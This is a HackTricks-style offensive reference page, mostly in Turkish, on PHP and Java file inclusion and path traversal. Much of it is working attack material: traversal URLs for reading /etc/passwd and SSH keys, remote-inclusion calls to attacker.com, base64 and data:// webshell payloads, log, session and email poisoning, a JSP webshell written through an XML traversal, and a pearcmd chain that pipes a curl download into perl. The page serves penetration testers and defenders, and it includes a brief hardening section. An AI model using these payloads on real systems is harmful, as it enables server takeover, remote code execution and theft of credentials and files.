File Inclusion/Path traversal
Reading time: 26 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
File Inclusion
Remote File Inclusion (RFI): Dosya uzak bir sunucudan yüklenir (En iyi: Kodu siz yazıp sunucunun çalıştırmasını sağlayabilirsiniz). php'de bu varsayılan olarak devre dışıdır (allow_url_include).
Local File Inclusion (LFI): Sunucu yerel bir dosya yükler.
Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
Zafiyete açık PHP fonksiyonları: require, require_once, include, include_once
Bu zafiyeti sömürmek için ilginç bir araç: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE dosyaları
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Çeşitli *nix LFI listelerini karıştırıp daha fazla path ekleyerek bunu oluşturdum:
Ayrıca /
yerine \
deneyin
Ayrıca ../../../../../
eklemeyi deneyin
Zafiyetin varlığını kontrol etmek için /etc/password dosyasını bulmak amacıyla çeşitli teknikler kullanan bir liste here bulunabilir
Windows
Farklı wordlists'lerin birleşimi:
Ayrıca /
yerine \
deneyin
Ayrıca C:/
silmeyi ve ../../../../../
eklemeyi deneyin
Zafiyetin varlığını kontrol etmek için /boot.ini dosyasını bulmak amacıyla çeşitli teknikler kullanan bir liste here bulunabilir
OS X
linux için LFI listesine bakın.
Basic LFI and bypasses
Tüm örnekler Local File Inclusion içindir, ancak Remote File Inclusion için de uygulanabilir (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences özyinelemeli olmayan şekilde kaldırıldı
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Sağlanan string'in sonuna fazladan karakter eklenmesini engelleyen Bypass (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Bu, PHP 5.4'ten itibaren çözüldü
Kodlama
Standart olmayan kodlamalar kullanabilirsiniz, örneğin double URL encode (ve diğerleri):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Mevcut klasörden
Belki back-end klasör yolunu kontrol ediyordur:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Bir Sunucuda Dosya Sistemi Dizinlerini Keşfetme
Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının test edilmesini içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem yer almaktadır:
- Determine Directory Depth: Bulunduğunuz dizinin derinliğini,
/etc/passwd
dosyasını başarıyla getirerek belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL şu şekilde yapılandırılabilir ve üç katman derinliği olduğunu gösterir:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Klasörleri Sorgula: Şüpheli klasör adını (ör.
private
) URL'ye ekleyin, ardından/etc/passwd
'e geri dönün. Ek dizin seviyesi derinliğinin bir artırılmasını gerektirir:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Sonuçları Yorumlama: Sunucunun yanıtı klasörün var olup olmadığını gösterir:
- Hata / Çıktı Yok: Belirtilen konumda
private
klasörü muhtemelen yoktur. - İçeriği
/etc/passwd
:private
klasörünün varlığı doğrulanır.
- Yinelemeli Keşif: Bulunan klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla incelenebilir.
Farklı konumlardaki dizinleri keşfetmek için payload'u uygun şekilde ayarlayın. Örneğin, geçerli dizinin derinliğinin 3 olduğunu varsayarak /var/www/
içinde bir private
dizini olup olmadığını kontrol etmek için kullanın:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle dosya yollarının sonuna ekstra karakterler ekleyen bazı güvenlik önlemlerini atlatıp kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildikten sonra bile hedeflenen dosyaya işaret eden bir dosya yolu oluşturmaktır.
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
are all treated as the same path.- Son 6 karakter
passwd
ise, sonuna/
eklemek (yanipasswd/
) hedeflenen dosyayı değiştirmez. - Benzer şekilde, bir dosya yolunun sonuna
.php
eklenmişse (ör.shellcode.php
), sonuna/.
eklemek erişilen dosyayı değiştirmez.
Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan /etc/passwd
'a erişmek için path truncation kullanımını göstermektedir:
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Bu senaryolarda gerekli traversal sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişiklik gösterebilir.
- Using Dot Segments and Additional Characters: Traversal sequences (
../
) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizgileri etkisiz hale getirerek yok sayılmasını sağlar. - Determining the Required Number of Traversals: Deneme yanılma yoluyla, kök dizine ve sonra
/etc/passwd
'e ulaşmak için gereken../
dizilerinin tam sayısı bulunabilir; böylece sunucunun eklediği dizgiler (ör..php
) etkisizleştirilirken hedef yol (/etc/passwd
) korunur. - Starting with a Fake Directory: Yolun başına var olmayan bir dizin (ör.
a/
) koymak yaygın bir uygulamadır. Bu teknik, önlem amaçlı veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
Path truncation tekniklerini kullanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
php'de bu varsayılan olarak devre dışıdır çünkü allow_url_include
Off. olarak ayarlanmıştır. Çalışması için On olması gerekir; bu durumda sunucunuzdan bir PHP dosyası include ederek RCE elde edebilirsiniz:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Eğer bir nedenle allow_url_include
On ise, ancak PHP harici web sayfalarına erişimi filtering yapıyorsa, bu gönderiye göre, örneğin data protocol ile base64 kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Önceki kodda, sonundaki +.txt
eklendi çünkü attacker .txt
ile biten bir string'e ihtiyaç duyuyordu; bu yüzden string onunla biter ve b64 decode sonrası o kısım sadece çöp döndürecek ve gerçek PHP kodu include edilecek (ve dolayısıyla çalıştırılacak).
Başka bir örnek php://
protokolünü kullanmayan şöyle olur:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Kök öğesi
python'da aşağıdaki gibi bir kodda:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Kullanıcı file_name
için bir mutlak yol verirse, önceki yol sadece kaldırılır:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Bu, the docs'e göre amaçlanan davranıştır:
Eğer bir bileşen mutlak bir yolsa, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
Java Dizin Listeleme
Görünen o ki, Java'da bir Path Traversal varsa ve bir dosya yerine bir dizin talep ederseniz, dizinin listesi döndürülür. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla).
İlk 25 parametre
İşte local file inclusion (LFI) açıklarına karşı savunmasız olabilecek ilk 25 parametrenin listesi (kaynak: link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI — PHP wrappers & protocols kullanımı
php://filter
PHP filtreleri, verinin okunmasından veya yazılmasından önce temel veri üzerinde değişiklik işlemleri yapmaya izin verir. Filtrelerin 5 kategorisi vardır:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Verideki etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey)- Bu filtrenin modern PHP sürümlerinde artık bulunmadığını unutmayın
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Farklı bir kodlamaya dönüştürür (convert.iconv.<input_enc>.<output_enc>
). Desteklenen tüm kodlamaların listesi için konsolda şu komutu çalıştırın:iconv -l
warning
convert.iconv.*
conversion filter'ünü suistimal ederek istediğiniz metni üretebilirsiniz, bu da örneğin istediğiniz metni yazmak veya include gibi bir fonksiyonun bu metni işleyebilmesini sağlamak için faydalı olabilir. Daha fazla bilgi için LFI2RCE via php filters dosyasına bakın.
- Compression Filters
zlib.deflate
: İçeriği sıkıştırır (çok fazla bilgi exfiltrating yapıyorsanız faydalı)zlib.inflate
: Veriyi dekomprese eder- Encryption Filters
mcrypt.*
: Kullanımdan kaldırıldımdecrypt.*
: Kullanımdan kaldırıldı- Diğer filtreler
- PHP'de
var_dump(stream_get_filters());
çalıştırdığınızda birkaç beklenmeyen filtre bulabilirsiniz: consumed
dechunk
: HTTP chunked encoding'i tersine çevirirconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
"php://filter" kısmı büyük/küçük harf duyarsızdır
Using php filters as oracle to read arbitrary files
In this post is proposed a technique to read a local file without having the output given back from the server. This technique is based on a boolean exfiltration of the file (char by char) using php filters as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
In the original post you can find a detailed explanation of the technique, but here is a quick summary:
- Use the codec
UCS-4LE
to leave leading character of the text at the begging and make the size of string increases exponentially. - This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
- The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an
a
for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. - Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Ayrıca php://stdin, php://stdout and php://stderr'i sırasıyla file descriptors 0, 1 and 2'ye erişmek için kullanabilirsiniz (bir saldırıda bunun nasıl faydalı olabileceğinden emin değilim)
zip:// ve rar://
İçerisine PHPShell yerleştirilmiş bir Zip veya Rar dosyası yükleyin ve erişin.
rar protocol'ü kötüye kullanabilmek için özel olarak etkinleştirilmesi gerekir.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Bu protokolün php yapılandırmaları allow_url_open
ve allow_url_include
tarafından kısıtlandığını unutmayın
expect://
Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POST parametrelerinde payload'unuzu belirtin:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Bir .phar
dosyası, bir web uygulaması include
gibi dosya yükleme için fonksiyonları kullandığında PHP kodu yürütmek için kullanılabilir. Aşağıdaki PHP kodu örneği bir .phar
dosyasının oluşturulmasını göstermektedir:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar
dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:
php --define phar.readonly=0 create_path.php
Çalıştırıldığında test.phar
adlı bir dosya oluşturulacak; bu dosya Local File Inclusion (LFI) zafiyetlerini istismar etmek için kullanılabilir.
Eğer LFI yalnızca içindeki PHP kodunu çalıştırmayıp dosya okuma gerçekleştiriyorsa — ör. file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, veya filesize()
gibi fonksiyonlarla — deserialization zafiyetinin istismarı denenebilir. Bu zafiyet, phar
protokolü kullanılarak dosya okunmasıyla ilişkilidir.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
PHP'de php filter'larını destekleyen herhangi bir rastgele dosya okuma RCE elde etmek için kötüye kullanılabiliyordu. Ayrıntılı açıklama found in this post.
Çok kısa özet: PHP heap'inde bir 3 byte overflow kullanılarak belirli bir boyuttaki serbest chunk zinciri değiştirildi ve böylece herhangi bir adrese istediğini yazmak mümkün oldu; bu yüzden system
çağırmak için bir hook eklendi.
Daha fazla php filter kullanarak belirli boyutlarda chunk'lar alloc etmek mümkündü.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp — Belleğe veya geçici bir dosyaya yazma (bir file inclusion attack'ta bunun nasıl işe yarayacağına emin değilim)
- file:// — Accessing local filesystem
- http:// — Accessing HTTP(s) URLs
- ftp:// — Accessing FTP(s) URLs
- zlib:// — Compression Streams
- glob:// — Desene uyan yol adlarını bulma (Yazdırılabilir bir şey döndürmediği için burada pek kullanışlı değil)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (Rastgele dosyaları okumak için kullanışlı değil)
LFI via PHP's 'assert'
PHP'de 'assert' fonksiyonuyla uğraşıldığında Local File Inclusion (LFI) riski özellikle yüksektir; 'assert' string içindeki kodu çalıştırabilir. Bu, '..' gibi directory traversal karakterleri içeren girdiler kontrol edilip doğru şekilde sanitize edilmezse özellikle sorunludur.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Bunun traversal'ı engellemeyi amaçlamasına rağmen, kazara code injection için bir vektör oluşturur. Dosya içeriklerini okumak için bundan yararlanmak isteyen bir attacker şunu kullanabilir:
' and die(highlight_file('/etc/passwd')) or '
Benzer şekilde, herhangi bir sistem komutunu yürütmek için şu kullanılabilir:
' and die(system("id")) or '
It's important to URL-encode these payloads.
PHP Blind Path Traversal
warning
Bu teknik, bir PHP functionın dosya yolu üzerinde kontrol sahibi olduğunuz ve bu fonksiyonun bir dosyaya erişeceği ancak dosya içeriğini görmeyeceğiniz durumlarda (ör. basit bir file()
çağrısı) önemlidir — içerik gösterilmez.
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
Özetle, teknik "UCS-4LE" encoding kullanarak bir dosyanın içeriğini o kadar büyük hale getiriyor ki dosyayı açan PHP function bir error tetikliyor.
Daha sonra, ilk karakteri leak etmek için dechunk
filtresi base64 veya rot13 gibi diğerleriyle birlikte kullanılıyor ve son olarak convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE filtreleri diğer karakterleri başa yerleştirip onları leak etmek için kullanılıyor.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Teknik detaylar için bahsedilen post'a bakın!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Dosya alan/yükleyen server-side kodu, hedef yolu kullanıcı kontrollü veri (örn. filename veya URL) kullanarak canonicalise ve validate etmeden oluşturduğunda, ..
segmentleri ve absolute path'ler amaçlanan dizinden kaçıp arbitrary file write'e yol açabilir. Eğer payload'ı web-exposed bir dizine yerleştirebiliyorsanız, genellikle unauthenticated RCE elde edersiniz — webshell bırakarak.
Tipik exploitation workflow:
- Path/filename kabul eden ve içeriği diske yazan bir endpoint veya background worker'da bir write primitive tespit edin (örn. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.).
- Web-exposed dizinleri belirleyin. Yaygın örnekler:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Amaçlanan storage dizininden webroot'a çıkan bir traversal path oluşturun ve webshell içeriğinizi ekleyin.
- Bıraktığınız payload'a gidin ve komutları çalıştırın.
Notlar:
- Yazmayı gerçekleştiren vulnerable service non-HTTP portunda dinliyor olabilir (örn. TCP 4004'te bir JMF XML listener). Ana web portalı (farklı port) daha sonra payload'ınızı serve eder.
- Java stack'lerinde, bu dosya yazımları genellikle basit
File
/Paths
concatenation ile uygulanır. Canonicalisation/allow-listing eksikliği temel zafiyettir.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Sertleştirme ile bu sınıftaki hatalar engellenir:
- Kanonik bir yola çevirin ve bunun izin verilen (allow-listed) temel dizinin bir alt dizini olduğunu zorunlu kılın.
..
, absolute roots veya drive letters içeren herhangi bir yolu reddedin; tercihen üretilmiş dosya adlarını kullanın.- Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini servis edilen köklerden ayırın.
Remote File Inclusion
Daha önce açıklandı, follow this link.
Apache/Nginx günlük dosyası üzerinden
Eğer Apache veya Nginx sunucusu include fonksiyonu içinde vulnerable to LFI ise, /var/log/apache2/access.log
or /var/log/nginx/access.log
dosyalarına erişmeyi deneyebilir, user agent içine veya bir GET parameter içine bir php shell olarak <?php system($_GET['c']); ?>
yerleştirip o dosyayı include edebilirsiniz
warning
Unutmayın ki shell için tek tırnak yerine çift tırnak kullanırsanız, çift tırnaklar "quote;" stringine dönüştürülür, PHP orada bir hata fırlatır ve hiçbir şey çalıştırılmaz.
Ayrıca, payload'u doğru yazdığınızdan emin olun; aksi halde PHP log dosyasını her yüklemeye çalıştığında hata verir ve ikinci bir şansınız olmaz.
Bu diğer loglarda da yapılabilir ancak dikkatli olun, logların içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Header authorisation "basic" Base64 içinde "user:password" içerir ve logların içinde decode edilir. PHPShell bu header içine yerleştirilebilir.
Diğer olası log yolları:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Bir e-posta gönderin internal bir hesaba (user@localhost) içinde PHP payload'unuz gibi <?php echo system($_REQUEST["cmd"]); ?>
bulunacak şekilde ve kullanıcının mailini şu yolları include etmeyi deneyin: /var/mail/<USERNAME>
veya /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Çok sayıda shells yükleyin (örneğin: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, burada $PID = işlemin PID'si (brute force ile bulunabilir) ve $FD file descriptor (o da brute force ile bulunabilir)
Via /proc/self/environ
Bir log dosyası gibi, payload'u User-Agent içine gönderin; bu /proc/self/environ dosyasında yansıyacaktır.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Üzerinden upload
Eğer bir dosya upload edebiliyorsanız, içine sadece shell payload enjekte edin (ör. : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf'lerin meta verisine enjekte etmek en iyisidir
Zip dosyası yükleyerek
PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP sessions ile
Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin.
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHP'de bu oturumlar /var/lib/php5/sess\[PHPSESSID]_ dosyalarına kaydedilir
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Cookie'yi <?php system('cat /etc/passwd');?>
olarak ayarla
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
PHP session file'ını include etmek için LFI'yi kullan.
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
ssh ile
Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa dosyasına erişmeyi deneyin
Üzerinden vsftpd günlükleri
FTP sunucusu vsftpd'nin logları /var/log/vsftpd.log konumundadır. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve açığa çıkmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir:
- Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte edin.
- Enjeksiyon sonrası, LFI'yi kullanarak sunucu loglarını /var/log/vsftpd.log dosyasından alın.
php base64 filtresi ile (base64 kullanarak)
As shown in this article, PHP base64 filter just ignore Non-base64. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten bir base64 sağlarsanız, filtre "." karakterini görmezden gelir ve base64'e "php" ekler. İşte bir örnek payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
php filters ile (dosya gerekmez)
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
Segmentation fault ile
Yükleyin /tmp
içinde geçici olarak saklanacak bir dosyayı, sonra aynı istekte bir segmentation fault tetikleyin; böylece geçici dosya silinmeyecek ve onu arayabilirsiniz.
LFI2RCE via Segmentation Fault
Nginx temp file storage ile
Eğer bir Local File Inclusion bulduysanız ve Nginx PHP önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
PHP_SESSION_UPLOAD_PROGRESS ile
Eğer bir Local File Inclusion bulduysanız, session'ınız olmasa ve session.auto_start
Off
olsa bile. Eğer multipart POST verisinde PHP_SESSION_UPLOAD_PROGRESS
sağlarsanız, PHP otomatik olarak session'i etkinleştirir. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Windows'ta temp file uploads ile
Eğer bir Local File Inclusion bulduysanız ve sunucu Windows üzerinde çalışıyorsa RCE elde edebilirsiniz:
pearcmd.php
+ URL args ile
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Aşağıdaki bir CRLF vuln'ü istismar ederek RCE elde ediyor (kaynak here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
phpinfo() ile (file_uploads = on)
Eğer bir Local File Inclusion bulduysanız ve phpinfo()'u açığa çıkaran ve file_uploads = on olan bir dosya varsa RCE elde edebilirsiniz:
compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure ile
Eğer bir Local File Inclusion bulduysanız ve geçici dosyanın yolunu exfiltrate edebiliyorsanız AMA sunucu, dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa, bu kontrolü bu Race Condition ile atlatmayı deneyebilirsiniz:
